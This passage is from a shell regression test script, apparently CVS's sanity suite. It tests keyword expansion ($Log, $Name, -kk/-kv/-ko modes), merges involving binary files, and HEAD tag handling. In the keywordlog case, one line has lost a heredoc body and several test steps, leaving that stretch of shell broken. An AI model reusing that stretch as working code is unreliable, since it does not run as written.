dotest keyword-9 \"$testcvs update -kkvl file1\" '[UP] file1'\n\t dotest keyword-10 \"cat file1\" \\\n'\\$'\"Author: ${username} \"'\\$'\"\n\"'\\$'\"Date: [0-9][0-9][0-9][0-9]/[0-9][0-9]/[0-9][0-9] [0-9][0-9]:[0-9][0-9]:[0-9][0-9] \"'\\$'\"\n\"'\\$'\"Header: ${CVSROOT_DIRNAME}/first-dir/file1,v 1\\.1 [0-9/]* [0-9:]* ${username} Exp ${username} \"'\\$'\"\n\"'\\$'\"Id: file1,v 1\\.1 [0-9/]* [0-9:]* ${username} Exp ${username} \"'\\$'\"\n\"'\\$'\"Locker: ${username} \"'\\$'\"\n\"'\\$'\"Name: \"'\\$'\"\n\"'\\$'\"RCSfile: file1,v \"'\\$'\"\n\"'\\$'\"Revision: 1\\.1 \"'\\$'\"\n\"'\\$'\"Source: ${CVSROOT_DIRNAME}/first-dir/file1,v \"'\\$'\"\n\"'\\$'\"State: Exp \"'\\$'\"\n\"'\\$'\"Nonkey\"'\\$'\"\n\"'\\$'\"Date\n\"'\\$'\"State: Exp \"'\\$'\" \"'\\$'\"State: Exp \"'\\$'\"\nxx \"'\\$'\"Log: file1,v \"'\\$'\"\nxx Revision 1\\.1 [0-9/]* [0-9:]* ${username}\nxx add\nxx\"\n\n\t dotest keyword-11 \"${testcvs} update -kk file1\" '[UP] file1'\n\t dotest keyword-12 \"cat file1\" \\\n'\\$'\"Author\"'\\$'\"\n\"'\\$'\"Date\"'\\$'\"\n\"'\\$'\"Header\"'\\$'\"\n\"'\\$'\"Id\"'\\$'\"\n\"'\\$'\"Locker\"'\\$'\"\n\"'\\$'\"Name\"'\\$'\"\n\"'\\$'\"RCSfile\"'\\$'\"\n\"'\\$'\"Revision\"'\\$'\"\n\"'\\$'\"Source\"'\\$'\"\n\"'\\$'\"State\"'\\$'\"\n\"'\\$'\"Nonkey\"'\\$'\"\n\"'\\$'\"Date\n\"'\\$'\"State\"'\\$'\" \"'\\$'\"State\"'\\$'\"\nxx \"'\\$'\"Log\"'\\$'\"\nxx Revision 1\\.1 [0-9/]* [0-9:]* ${username}\nxx add\nxx\"\n\n\t dotest keyword-13 \"$testcvs update -kv file1\" '[UP] file1'\n\t dotest keyword-14 \"cat file1\" \\\n\"${username}\n[0-9][0-9][0-9][0-9]/[0-9][0-9]/[0-9][0-9] [0-9][0-9]:[0-9][0-9]:[0-9][0-9]\n${CVSROOT_DIRNAME}/first-dir/file1,v 1\\.1 [0-9/]* [0-9:]* ${username} Exp\nfile1,v 1\\.1 [0-9/]* [0-9:]* ${username} Exp\n\n\nfile1,v\n1\\.1\n${CVSROOT_DIRNAME}/first-dir/file1,v\nExp\n\"'\\$'\"Nonkey\"'\\$'\"\n\"'\\$'\"Date\nExp Exp\nxx file1,v\nxx Revision 1\\.1 [0-9/]* [0-9:]* ${username}\nxx add\nxx\"\n\n\t dotest keyword-15 \"${testcvs} update -ko file1\" \"U file1\"\n\t dotest keyword-16 \"cat file1\" \\\n'\\$'\"Author\"'\\$'\"\n\"'\\$'\"Date\"'\\$'\"\n\"'\\$'\"Header\"'\\$'\"\n\"'\\$'\"Id\"'\\$'\"\n\"'\\$'\"Locker\"'\\$'\"\n\"'\\$'\"Name\"'\\$'\"\n\"'\\$'\"RCSfile\"'\\$'\"\n\"'\\$'\"Revision\"'\\$'\"\n\"'\\$'\"Source\"'\\$'\"\n\"'\\$'\"State\"'\\$'\"\n\"'\\$'\"Nonkey\"'\\$'\"\n\"'\\$'\"Date\n\"'\\$'\"State\"'\\$'\" \"'\\$'\"State\"'\\$'\"\nxx \"'\\$'\"Log\"'\\$'\n\n\t # Test the Name keyword. First go back to normal expansion.\n\n\t dotest keyword-17 \"${testcvs} update -A file1\" \"U file1\"\n\n\t echo '$''Name$' > file1\n\t dotest keyword-18 \"${testcvs} ci -m modify file1\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t dotest keyword-19 \"${testcvs} -q tag tag1\" \"T file1\"\n\t echo \"change\" >> file1\n\t dotest keyword-20 \"${testcvs} -q ci -m mod2 file1\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.3; previous revision: 1\\.2\ndone\"\n\n\t # Prior to 1.11.23, remote CVS would fail the patch checksum test\n\t # and refetch the file here, failing this test.\n\t dotest keyword-21 \"$testcvs -q update -r tag1\" 'U file1'\n\n\t dotest keyword-22 \"cat file1\" '\\$'\"Name: tag1 \"'\\$'\n\n\t # The update used to fail the first time with a checksum failure\n\t # here, then the server would send the whole failure. This was fixed\n\t # in 1.11.23.\n\t dotest keyword-23 \"$testcvs update -A file1\" \"U file1\"\n\t dotest keyword-24 \"cat file1\" '\\$'\"Name: \"'\\$'\"\nchange\"\n\n\t cd ../..\n\t rm -r 1\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tkeywordlog)\n\t # Test the Log keyword.\n\t mkdir 1; cd 1\n\t dotest keywordlog-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest keywordlog-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t cd first-dir\n\t echo initial >file1\n\t dotest keywordlog-3 \"${testcvs} add file1\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\n\t # See \"rmadd\" for a list of other tests of cvs ci -r.\n\t dotest keywordlog-4 \"${testcvs} -q ci -r 1.3 -m add file1\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.3\ndone\"\n\n\t cd ../..\n\t mkdir 2; cd 2\n\t dotest keywordlog-4a \"${testcvs} -q co first-dir\" \"U first-dir/file1\"\n\t cd ../1/first-dir\n\n\t echo 'xx $''Log$' >> file1\n\t cat >${TESTDIR}/comment.tmp <> file1\n\t dotest keywordlog-10 \"${testcvs} ci -m modify file1\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.5; previous revision: 1\\.4\ndone\"\n\t dotest keywordlog-11 \"cat file1\" \\\n\"initial\nxx \"'\\$'\"Log: file1,v \"'\\$'\"\nxx Revision 1\\.5 [0-9/]* [0-9:]* ${username}\nxx modify\nxx\nxx Revision 1\\.4 [0-9/]* [0-9:]* ${username}\nxx First log line\nxx Second log line\nxx\nchange\"\n\n\t cd ../../2/first-dir\n\t dotest keywordlog-12 \"${testcvs} -q update\" \"[UP] file1\"\n\t dotest keywordlog-13 \"cat file1\" \\\n\"initial\nxx \"'\\$'\"Log: file1,v \"'\\$'\"\nxx Revision 1\\.5 [0-9/]* [0-9:]* ${username}\nxx modify\nxx\nxx Revision 1\\.4 [0-9/]* [0-9:]* ${username}\nxx First log line\nxx Second log line\nxx\nchange\"\n\n\t cd ../../1/first-dir\n\t dotest keywordlog-14 \"${testcvs} -q update -r br\" \"[UP] file1\"\n\t echo br-change >>file1\n\t dotest keywordlog-15 \"${testcvs} -q ci -m br-modify\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.4\\.2\\.1; previous revision: 1\\.4\ndone\"\n\t dotest keywordlog-16 \"cat file1\" \\\n\"initial\nxx \"'\\$'\"Log: file1,v \"'\\$'\"\nxx Revision 1\\.4\\.2\\.1 [0-9/]* [0-9:]* ${username}\nxx br-modify\nxx\nxx Revision 1\\.4 [0-9/]* [0-9:]* ${username}\nxx First log line\nxx Second log line\nxx\nbr-change\"\n\t cd ../../2/first-dir\n\t dotest keywordlog-17 \"${testcvs} -q update -r br\" \"[UP] file1\"\n\t dotest keywordlog-18 \"cat file1\" \\\n\"initial\nxx \"'\\$'\"Log: file1,v \"'\\$'\"\nxx Revision 1\\.4\\.2\\.1 [0-9/]* [0-9:]* ${username}\nxx br-modify\nxx\nxx Revision 1\\.4 [0-9/]* [0-9:]* ${username}\nxx First log line\nxx Second log line\nxx\nbr-change\"\n\t cd ../..\n\t dotest keywordlog-19 \"${testcvs} -q co -p -r br first-dir/file1\" \\\n\"initial\nxx \"'\\$'\"Log: file1,v \"'\\$'\"\nxx Revision 1\\.4\\.2\\.1 [0-9/]* [0-9:]* ${username}\nxx br-modify\nxx\nxx Revision 1\\.4 [0-9/]* [0-9:]* ${username}\nxx First log line\nxx Second log line\nxx\nbr-change\"\n\t dotest keywordlog-20 \"${testcvs} -q co -p first-dir/file1\" \\\n\"initial\nxx \"'\\$'\"Log: file1,v \"'\\$'\"\nxx Revision 1\\.5 [0-9/]* [0-9:]* ${username}\nxx modify\nxx\nxx Revision 1\\.4 [0-9/]* [0-9:]* ${username}\nxx First log line\nxx Second log line\nxx\nchange\"\n\t dotest keywordlog-21 \"${testcvs} -q co -p -r 1.4 first-dir/file1\" \\\n\"initial\nxx \"'\\$'\"Log: file1,v \"'\\$'\"\nxx Revision 1\\.4 [0-9/]* [0-9:]* ${username}\nxx First log line\nxx Second log line\nxx\"\n\n\t cd 2/first-dir\n\t # OK, the basic rule for keyword expansion is that it\n\t # happens on checkout. And the rule for annotate is that\n\t # it annotates a checked-in revision, rather than a checked-out\n\t # file. So, although it is kind of confusing that the latest\n\t # revision does not appear in the annotated output, and the\n\t # annotated output does not quite match what you'd get with\n\t # update or checkout, the behavior is more or less logical.\n\t # The same issue occurs with annotate and other keywords,\n\t # I think, although it is particularly noticeable for $Log.\n\t dotest keywordlog-22 \"${testcvs} ann -r br file1\" \\\n\"\nAnnotations for file1\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n1\\.3 ($username8 *[0-9a-zA-Z-]*): initial\n1\\.4\\.2\\.1 ($username8 *[0-9a-zA-Z-]*): xx \"'\\$'\"Log: file1,v \"'\\$'\"\n1\\.4\\.2\\.1 ($username8 *[0-9a-zA-Z-]*): xx Revision 1\\.4 [0-9/]* [0-9:]* $username\n1\\.4\\.2\\.1 ($username8 *[0-9a-zA-Z-]*): xx First log line\n1\\.4\\.2\\.1 ($username8 *[0-9a-zA-Z-]*): xx Second log line\n1\\.4\\.2\\.1 ($username8 *[0-9a-zA-Z-]*): xx\n1\\.4\\.2\\.1 ($username8 *[0-9a-zA-Z-]*): br-change\"\n\t dotest keywordlog-23 \"${testcvs} ann -r HEAD file1\" \\\n\"\nAnnotations for file1\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n1\\.3 ($username8 *[0-9a-zA-Z-]*): initial\n1\\.5 ($username8 *[0-9a-zA-Z-]*): xx \"'\\$'\"Log: file1,v \"'\\$'\"\n1\\.5 ($username8 *[0-9a-zA-Z-]*): xx Revision 1\\.4 [0-9/]* [0-9:]* $username\n1\\.5 ($username8 *[0-9a-zA-Z-]*): xx First log line\n1\\.5 ($username8 *[0-9a-zA-Z-]*): xx Second log line\n1\\.5 ($username8 *[0-9a-zA-Z-]*): xx\n1\\.5 ($username8 *[0-9a-zA-Z-]*): change\"\n\t cd ../..\n\n\t #\n\t # test the operation of 'admin -o' in conjunction with keywords\n\t # (especially Log - this used to munge the RCS file for all time)\n\t #\n\n\t dotest keywordlog-24 \\\n\"${testcvs} admin -oHEAD 1/first-dir/file1\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndeleting revision 1\\.5\ndone\"\n\n\t dotest keywordlog-25 \\\n\"${testcvs} -q co -p first-dir/file1\" \\\n\"initial\nxx \"'\\$'\"Log: file1,v \"'\\$'\"\nxx Revision 1\\.4 [0-9/]* [0-9:]* ${username}\nxx First log line\nxx Second log line\nxx\"\n\n\t if $keep; then\n\t echo Keeping ${TESTDIR} and exiting due to --keep\n\t exit 0\n\t fi\n\n\t rm -r 1 2\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tkeywordname)\n\t # Test the Name keyword.\n\t # See the keyword test for a descriptions of some other tests that\n\t # test keyword expansion modes.\n\t mkdir keywordname; cd keywordname\n\t mkdir 1; cd 1\n\t dotest keywordname-init-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest keywordname-init-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t cd first-dir\n\n\t echo '$'\"Name$\" >file1\n\t echo '$'\"Name$\" >file2\n\t dotest keywordname-init-3 \"${testcvs} add file1 file2\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: scheduling file .file2. for addition\n${PROG} add: use .${PROG} commit. to add these files permanently\"\n\n\t # See \"rmadd\" for a list of other tests of cvs ci -r.\n\t dotest keywordname-init-4 \"${testcvs} -q ci -r 1.3 -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.3\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ndone\nChecking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\ninitial revision: 1\\.3\ndone\"\n\t dotest keywordname-init-5b \"cat file1\" \\\n'\\$''Name: \\$'\n\t dotest keywordname-init-5c \"cat file2\" \\\n'\\$''Name: \\$'\n\n\t dotest keywordname-init-6 \"$testcvs -q up -A\"\n\t dotest keywordname-init-6b \"cat file1\" \\\n'\\$''Name: \\$'\n\t dotest keywordname-init-6c \"cat file2\" \\\n'\\$''Name: \\$'\n\n\t dotest keywordname-init-7 \"${testcvs} -q tag -b br\" \\\n\"T file1\nT file2\"\n\n\t echo new data >>file1\n\t dotest keywordname-init-8 \"${testcvs} -q ci -mchange\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.4; previous revision: 1\\.3\ndone\"\n\n\t # First check out a branch.\n\t #\n\t # There used to be a bug where static tags would be substituted for\n\t # Name keywords but not branch tags.\n\t #\n\t # Prior to 1.11.23, there also used to be a bug where keyword\n\t # substitutions were not performed unless the file was otherwise\n\t # updated. When this bug was present, keywordname-update-1 would\n\t # report a patch checksum failure and refetch file1 in client/server\n\t # mode and no `br' would have been substituted into Name's value for\n\t # file2, meaning keywordname-update-3 would also fail.\n\t dotest keywordname-update-1 \"$testcvs -q up -rbr\" \\\n'U file1\nU file2'\n\t dotest keywordname-update-2 \"cat file1\" '\\$''Name: br \\$'\n\n\t # For the same reason keywordname-update-1 would fail above, no `br'\n\t # would have been substituted into Name's value here prior to\n\t # 1.11.23.\n\t dotest keywordname-update-3 \"cat file2\" '\\$''Name: br \\$'\n\n\t # Now verify that updating to the trunk leaves no substitution for\n\t # $Name\n\t dotest keywordname-update-4 \"${testcvs} -q tag firsttag\" \\\n\"T file1\nT file2\"\n\t # This used to fail in the same manner as keywordname-update-1.\n\t dotest keywordname-update-5 \"$testcvs -q up -A\" \\\n'U file1\nU file2'\n\t dotest keywordname-update-6 \"cat file1\" \\\n'\\$''Name: \\$\nnew data'\n\t dotest keywordname-update-7 \"cat file2\" '\\$''Name: \\$'\n\n\t # This used to fail in the same manner as keywordname-update-1.\n\t dotest keywordname-update-8 \"$testcvs -q up -rfirsttag\" \\\n'U file1\nU file2'\n\t dotest keywordname-update-9 \"cat file1\" '\\$''Name: firsttag \\$'\n\n\t # This used to fail in the same manner as keywordname-update-3.\n\t dotest keywordname-update-10 \"cat file2\" '\\$''Name: firsttag \\$'\n\n\t # And reverify the trunk update when the change is actually removed.\n\t dotest keywordname-update-11 \"$testcvs -q up -A\" \\\n'U file1\nU file2'\n\t dotest keywordname-update-12 \"cat file1\" \\\n'\\$''Name: \\$\nnew data'\n\t dotest keywordname-update-13 \"cat file2\" '\\$''Name: \\$'\n\n\t cd ../..\n\n\t # now verify that a fresh checkout substitutes all the $Name fields\n\t mkdir 2; cd 2\n\t dotest keywordname-checkout-1 \\\n\"${testcvs} -q co -rfirsttag first-dir\" \\\n\"U first-dir/file1\nU first-dir/file2\"\n\t cd first-dir\n\t dotest keywordname-checkout-2 \"cat file1\" '\\$'\"Name: firsttag \"'\\$'\n\t dotest keywordname-checkout-3 \"cat file2\" '\\$'\"Name: firsttag \"'\\$'\n\n\t cd ../..\n\n\t if $keep; then\n\t echo Keeping ${TESTDIR} and exiting due to --keep\n\t exit 0\n\t fi\n\n\t cd ..\n\t rm -r keywordname\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tkeyword2)\n\t # Test merging on files with keywords:\n\t # without -kk\n\t # with -kk\n\t # on text files\n\t # on binary files\n\t # Note: This test assumes that CVS has already passed the binfiles\n\t # test sequence\n\t # Note2: We are testing positive on binary corruption here\n\t # we probably really DON'T want to 'cvs update -kk' a binary file...\n\t mkdir 1; cd 1\n\t dotest keyword2-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest keyword2-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n cd first-dir\n\n\t echo '$''Revision$' >> file1\n\t echo \"I\" >>file1\n\t echo \"like\" >>file1\n\t echo \"long\" >>file1\n\t echo \"files!\" >>file1\n\t echo \"\" >>file1\n\t echo \"a test line for our times\" >>file1\n\t echo \"\" >>file1\n\t echo \"They\" >>file1\n\t echo \"make\" >>file1\n\t echo \"diff\" >>file1\n\t echo \"look like it\" >>file1\n\t echo \"did a much better\" >>file1\n\t echo \"job.\" >>file1\n\t dotest keyword2-3 \"${testcvs} add file1\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\n\t ${AWK} 'BEGIN { printf \"%c%c%c%sRevision: 1.1 $@%c%c\", \\\n\t 2, 10, 137, \"$\", 13, 10 }' \\\n\t ../binfile.dat\n\t cp ../binfile.dat .\n\t dotest keyword2-5 \"${testcvs} add -kb binfile.dat\" \\\n\"${PROG} add: scheduling file .binfile\\.dat. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\n\t dotest keyword2-6 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/binfile\\.dat,v\ndone\nChecking in binfile\\.dat;\n${CVSROOT_DIRNAME}/first-dir/binfile\\.dat,v <-- binfile\\.dat\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\n\t dotest keyword2-7 \"${testcvs} -q tag -b branch\" \\\n\"T binfile\\.dat\nT file1\"\n\n\t sed -e 's/our/the best of and the worst of/' file1 >f; mv f file1\n\t dotest keyword2-8 \"${testcvs} -q ci -m change\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\n\t dotest keyword2-9 \"$testcvs -q update -r branch\" \\\n'U binfile\\.dat\n[UP] file1'\n\n\t echo \"what else do we have?\" >>file1\n\t dotest keyword2-10 \"${testcvs} -q ci -m change\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\"\n\n\t # Okay, first a conflict in file1 - should be okay with binfile.dat\n\t dotest keyword2-11 \"$testcvs -q update -A -j branch\" \\\n\"U binfile\\.dat\nU file1\nRCS file: $CVSROOT_DIRNAME/first-dir/file1,v\nretrieving revision 1\\.1\nretrieving revision 1\\.1\\.2\\.1\nMerging differences between 1\\.1 and 1\\.1\\.2\\.1 into file1\nrcsmerge: warning: conflicts during merge\"\n\n\t dotest_fail keyword2-12 \"${testcvs} diff file1\" \\\n\"Index: file1\n===================================================================\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nretrieving revision 1\\.2\ndiff -r1\\.2 file1\n0a1\n> <<<<<<< file1\n1a3,5\n> =======\n> \\\\\\$\"\"Revision: 1\\.1\\.2\\.1 \\\\\\$\n> >>>>>>> 1\\.1\\.2\\.1\n14a19\n> what else do we have${QUESTION}\"\n\n\t # Here's the problem... shouldn't -kk a binary file...\n\t rm file1\n\t dotest keyword2-13 \"${testcvs} -q update -A -kk -j branch\" \\\n\"${PROG} update: warning: file1 was lost\nU file1\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nretrieving revision 1\\.1\nretrieving revision 1\\.1\\.2\\.1\nMerging differences between 1\\.1 and 1\\.1\\.2\\.1 into file1\"\n\n\t # binfile won't get checked in, but it is now corrupt and could\n\t # have been checked in if it had changed on the branch...\n\t dotest keyword2-14 \"${testcvs} -q ci -m change\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.3; previous revision: 1\\.2\ndone\"\n\n\t # \"-kk\" no longer corrupts binary files\n\t dotest keyword2-15 \"cmp binfile.dat ../binfile.dat\" ''\n\n\t # Okay, restore everything and make CVS try and merge a binary file...\n\t # \"-kk\" no longer affects binary files\n\t dotest keyword2-16 \"${testcvs} -q update -A\" \\\n\"[UP] file1\"\n\t dotest keyword2-17 \"${testcvs} -q tag -b branch2\" \\\n\"T binfile\\.dat\nT file1\"\n\t dotest keyword2-18 \"$testcvs -q update -r branch2\" \\\n'U binfile\\.dat\n[UP] file1'\n\n\t ${AWK} 'BEGIN { printf \"%c%c%c@%c%c\", 2, 10, 137, 13, 10 }' \\\n\t >binfile.dat\n\t dotest keyword2-19 \"${testcvs} -q ci -m badbadbad\" \\\n\"Checking in binfile\\.dat;\n${CVSROOT_DIRNAME}/first-dir/binfile\\.dat,v <-- binfile\\.dat\nnew revision: 1\\.1\\.4\\.1; previous revision: 1\\.1\ndone\"\n\t # \"-kk\" no longer affects binary files\n\n\t # XXXX: do not ask, why we get the \"U binfile.dat\" line twice\n\t # looks like a bug!\n\t dotest keyword2-20 \"${testcvs} -q update -A -kk -j branch2\" \\\n\"U binfile\\.dat\nU binfile\\.dat\nU file1\"\n\n\t cd ../..\n\t rm -r 1\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\thead)\n\t # Testing handling of the HEAD special tag.\n\t # There are many cases involving added and removed files\n\t # which we don't yet try to deal with.\n\t # TODO: We also could be paying much closer attention to\n\t # \"head of the trunk\" versus \"head of the default branch\".\n\t # That is what \"cvs import\" is doing here (but I didn't really\n\t # fully follow through on writing the tests for that case).\n\t mkdir imp-dir\n\t cd imp-dir\n\t echo 'imported contents' >file1\n\t # It may seem like we don't do much with file2, but do note that\n\t # the \"cvs diff\" invocations do also diff file2 (and come up empty).\n\t echo 'imported contents' >file2\n\t dotest_sort head-1 \"${testcvs} import -m add first-dir tag1 tag2\" \\\n\"\n\nN first-dir/file1\nN first-dir/file2\nNo conflicts created by this import\"\n\t cd ..\n\t rm -r imp-dir\n\t mkdir 1\n\t cd 1\n\t dotest head-2 \"${testcvs} -q co first-dir\" \\\n\"U first-dir/file1\nU first-dir/file2\"\n\t cd first-dir\n\t echo 'add a line on trunk' >> file1\n\t dotest head-3 \"${testcvs} -q ci -m modify\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t dotest head-4 \"${testcvs} -q tag trunktag\" \"T file1\nT file2\"\n\t echo 'add a line on trunk after trunktag' >> file1\n\t dotest head-5 \"${testcvs} -q ci -m modify\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.3; previous revision: 1\\.2\ndone\"\n\t dotest head-6 \"${testcvs} -q tag -b br1\" \"T file1\nT file2\"\n\t dotest head-7 \"$testcvs -q update -r br1\" \\\n'[UP] file1\n[UP] file2'\n\t echo 'modify on branch' >>file1\n\t dotest head-8 \"${testcvs} -q ci -m modify\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.3\\.2\\.1; previous revision: 1\\.3\ndone\"\n\t dotest head-9 \"${testcvs} -q tag brtag\" \"T file1\nT file2\"\n\t echo 'modify on branch after brtag' >>file1\n\t dotest head-10 \"${testcvs} -q ci -m modify\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.3\\.2\\.2; previous revision: 1\\.3\\.2\\.1\ndone\"\n\t # With no sticky tags, HEAD is the head of the trunk.\n\t dotest head-trunk-setup \"$testcvs -q update -A\" \\\n'[UP] file1\n[UP] file2'\n\t dotest head-trunk-update \"${testcvs} -q update -r HEAD -p file1\" \\\n\"imported contents\nadd a line on trunk\nadd a line on trunk after trunktag\"\n\t # and diff thinks so too. Case (a) from the comment in\n\t # cvs.texinfo (Common options).\n\t dotest_fail head-trunk-diff \"${testcvs} -q diff -c -r HEAD -r br1\" \\\n\"Index: file1\n===================================================================\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nretrieving revision 1\\.3\nretrieving revision 1\\.3\\.2\\.2\ndiff -c -r1\\.3 -r1\\.3\\.2\\.2\n\\*\\*\\* file1\t${RFCDATE}\t1\\.3\n--- file1\t${RFCDATE}\t1\\.3\\.2\\.2\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\\*\\*\\* 1,3 \\*\\*\\*\\*\n--- 1,5 ----\n imported contents\n add a line on trunk\n add a line on trunk after trunktag\n${PLUS} modify on branch\n${PLUS} modify on branch after brtag\"\n\n\t # With a branch sticky tag, HEAD is the head of the trunk.\n\t dotest head-br1-setup \"$testcvs -q update -r br1\" \\\n'[UP] file1\n[UP] file2'\n\t dotest head-br1-update \"${testcvs} -q update -r HEAD -p file1\" \\\n\"imported contents\nadd a line on trunk\nadd a line on trunk after trunktag\"\n\t # But diff thinks that HEAD is \"br1\". Case (b) from cvs.texinfo.\n\t # Probably people are relying on it.\n\t dotest head-br1-diff \"${testcvs} -q diff -c -r HEAD -r br1\" \"\"\n\n\t # With a nonbranch sticky tag on a branch,\n\t # HEAD is the head of the trunk\n\t dotest head-brtag-setup \"$testcvs -q update -r brtag\" \\\n'[UP] file1\n[UP] file2'\n\t dotest head-brtag-update \"${testcvs} -q update -r HEAD -p file1\" \\\n\"imported contents\nadd a line on trunk\nadd a line on trunk after trunktag\"\n\n\t # CVS 1.9 and older thought that HEAD is \"brtag\" (this was\n\t # noted as \"strange, maybe accidental\"). But \"br1\" makes a\n\t # whole lot more sense.\n\t dotest head-brtag-diff \"${testcvs} -q diff -c -r HEAD -r br1\" \"\"\n\n\t # With a nonbranch sticky tag on the trunk, HEAD is the head\n\t # of the trunk, I think.\n\t dotest head-trunktag-setup \"$testcvs -q update -r trunktag\" \\\n'[UP] file1\n[UP] file2'\n\t dotest head-trunktag-check \"cat file1\" \"imported contents\nadd a line on trunk\"\n\t dotest head-trunktag-update \"${testcvs} -q update -r HEAD -p file1\" \\\n\"imported contents\nadd a line on trunk\nadd a line on trunk after trunktag\"\n\t # Like head-brtag-diff, there is a non-branch sticky tag.\n\t dotest_fail head-trunktag-diff \\\n\t \"${testcvs} -q diff -c -r HEAD -r br1\" \\\n\"Index: file1\n===================================================================\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nretrieving revision 1\\.3\nretrieving revision 1\\.3\\.2\\.2\ndiff -c -r1\\.3 -r1\\.3\\.2\\.2\n\\*\\*\\* file1\t${RFCDATE}\t1\\.3\n--- file1\t${RFCDATE}\t1\\.3\\.2\\.2\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\\*\\*\\* 1,3 \\*\\*\\*\\*\n--- 1,5 ----\n imported contents\n add a line on trunk\n add a line on trunk after trunktag\n${PLUS} modify on branch\n${PLUS} modify on branch after brtag\"\n\n\t # Also might test what happens if we setup with update -r\n\t # HEAD. In general, if sticky tags matter, does the\n\t # behavior of \"update -r \" (without -p) depend on the\n\t # sticky tags before or after the update?\n\n\t # Note that we are testing both the case where this deletes\n\t # a revision (file1) and the case where it does not (file2)\n\t dotest_fail head-o0a \"${testcvs} admin -o ::br1\" \\\n\"${PROG} admin: Administrating \\.\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\n${PROG} admin: cannot remove revision 1\\.3\\.2\\.1 because it has tags\n${PROG} admin: RCS file for .file1. not modified\\.\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ndone\"\n\t dotest head-o0b \"${testcvs} tag -d brtag\" \\\n\"${PROG} tag: Untagging \\.\nD file1\nD file2\"\n\t dotest head-o1 \"${testcvs} admin -o ::br1\" \\\n\"${PROG} admin: Administrating \\.\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndeleting revision 1\\.3\\.2\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ndone\"\n\t cd ../..\n\t rm -r 1\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\ttagdate)\n\t # Test combining -r and -D.\n\t #\n\t # Note that this is not a complete test. It relies on the fact\n\t # that update, checkout and export have a LOT of shared code.\n\t # Notice:\n\t #\t1) checkout is never tested at all with -r -D\n\t #\t2) update never uses an argument to '-D' besides 'now'\n\t #\t\t(this test does not provide enough data to prove\n\t #\t\tthat 'cvs update' with both a '-r' and a '-D'\n\t #\t\tspecified does not ignore '-D': a 'cvs up\n\t #\t\t-r -Dnow' and a 'cvs up -r'\n\t 